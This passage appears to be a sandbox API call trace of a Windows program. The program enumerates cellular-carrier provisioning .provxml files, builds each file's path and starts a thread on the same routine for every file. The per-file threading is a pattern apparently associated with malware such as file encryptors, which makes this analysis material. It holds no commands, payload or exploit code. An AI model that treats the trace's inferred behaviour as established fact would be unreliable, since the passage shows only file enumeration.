Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.728] wcscat (in: _Dest=0x304f970, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.728] wcscat (in: _Dest=0x304f970, _Source="714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" [0182.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0182.728] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9193b3c3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9193b3c3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9193b3c3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="715__C~1.PRO")) returned 1 [0182.728] wcscmp (_String1="715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.728] wcscmp (_String1="715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.728] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054350 [0182.729] wcscpy (in: _Dest=0x3054350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.729] wcscat (in: _Dest=0x3054350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.729] wcscat (in: _Dest=0x3054350, _Source="715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0182.729] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9193b3c3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9193b3c3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9193b3c3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="716__C~1.PRO")) returned 1 [0182.729] wcscmp (_String1="716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.729] wcscmp (_String1="716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x304fac8 [0182.729] wcscpy (in: _Dest=0x304fac8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.729] wcscat (in: _Dest=0x304fac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.729] wcscat (in: _Dest=0x304fac8, _Source="716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" [0182.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304fac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0182.730] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9193b3c3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9193b3c3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9193b3c3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="717__C~1.PRO")) returned 1 [0182.730] wcscmp (_String1="717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.730] wcscmp (_String1="717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17a) returned 0x2faa790 [0182.730] wcscpy (in: _Dest=0x2faa790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.730] wcscat (in: _Dest=0x2faa790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.730] wcscat (in: _Dest=0x2faa790, _Source="717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" [0182.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0182.731] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9193b3c3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9193b3c3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9193b3c3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="718__C~1.PRO")) returned 1 [0182.731] wcscmp (_String1="718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.731] wcscmp (_String1="718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304fc20 [0182.731] wcscpy (in: _Dest=0x304fc20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.731] wcscat (in: _Dest=0x304fc20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.731] wcscat (in: _Dest=0x304fc20, _Source="718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\718__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304fc20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0182.732] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91961627, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91961627, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91961627, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="719__C~1.PRO")) returned 1 [0182.732] wcscmp (_String1="719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.732] wcscmp (_String1="719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x304e3f0 [0182.732] wcscpy (in: _Dest=0x304e3f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.732] wcscat (in: _Dest=0x304e3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.732] wcscat (in: _Dest=0x304e3f0, _Source="719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\719__Connections_Cellular_SaskTel (Canada)_i0$(__MVID)@WAP.provxml" [0182.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0182.733] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90353002, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90353002, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90353002, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="71__CE~1.PRO")) returned 1 [0182.733] wcscmp (_String1="71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.733] wcscmp (_String1="71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x304de90 [0182.733] wcscpy (in: _Dest=0x304de90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.733] wcscat (in: _Dest=0x304de90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.733] wcscat (in: _Dest=0x304de90, _Source="71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304de90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0182.733] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91961627, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91961627, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91961627, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", cAlternateFileName="720__C~1.PRO")) returned 1 [0182.734] wcscmp (_String1="720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.734] wcscmp (_String1="720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.734] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2ff1678 [0182.734] wcscpy (in: _Dest=0x2ff1678, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.734] wcscat (in: _Dest=0x2ff1678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.734] wcscat (in: _Dest=0x2ff1678, _Source="720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" [0182.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0182.734] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91961627, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91961627, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91961627, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="721__C~1.PRO")) returned 1 [0182.734] wcscmp (_String1="721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.734] wcscmp (_String1="721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.734] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x304f008 [0182.735] wcscpy (in: _Dest=0x304f008, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.735] wcscat (in: _Dest=0x304f008, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.735] wcscat (in: _Dest=0x304f008, _Source="721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x304f008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0182.735] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91961627, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91961627, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91961627, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", cAlternateFileName="722__D~1.PRO")) returned 1 [0182.735] wcscmp (_String1="722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", _String2=".") returned 1 [0182.735] wcscmp (_String1="722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", _String2="..") returned 1 [0182.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2faae40 [0182.735] wcscpy (in: _Dest=0x2faae40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.735] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.735] wcscat (in: _Dest=0x2faae40, _Source="722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\722__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" [0182.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faae40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0182.736] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91961627, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91961627, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91961627, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", cAlternateFileName="723__D~1.PRO")) returned 1 [0182.736] wcscmp (_String1="723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", _String2=".") returned 1 [0182.736] wcscmp (_String1="723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", _String2="..") returned 1 [0182.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x2ff1510 [0182.736] wcscpy (in: _Dest=0x2ff1510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.736] wcscat (in: _Dest=0x2ff1510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.736] wcscat (in: _Dest=0x2ff1510, _Source="723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" [0182.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0182.737] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90353002, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90353002, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90353002, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x316, dwReserved0=0x0, dwReserved1=0x0, cFileName="72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="72__CO~1.PRO")) returned 1 [0182.737] wcscmp (_String1="72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.737] wcscmp (_String1="72__Connections_Cellular_Claro 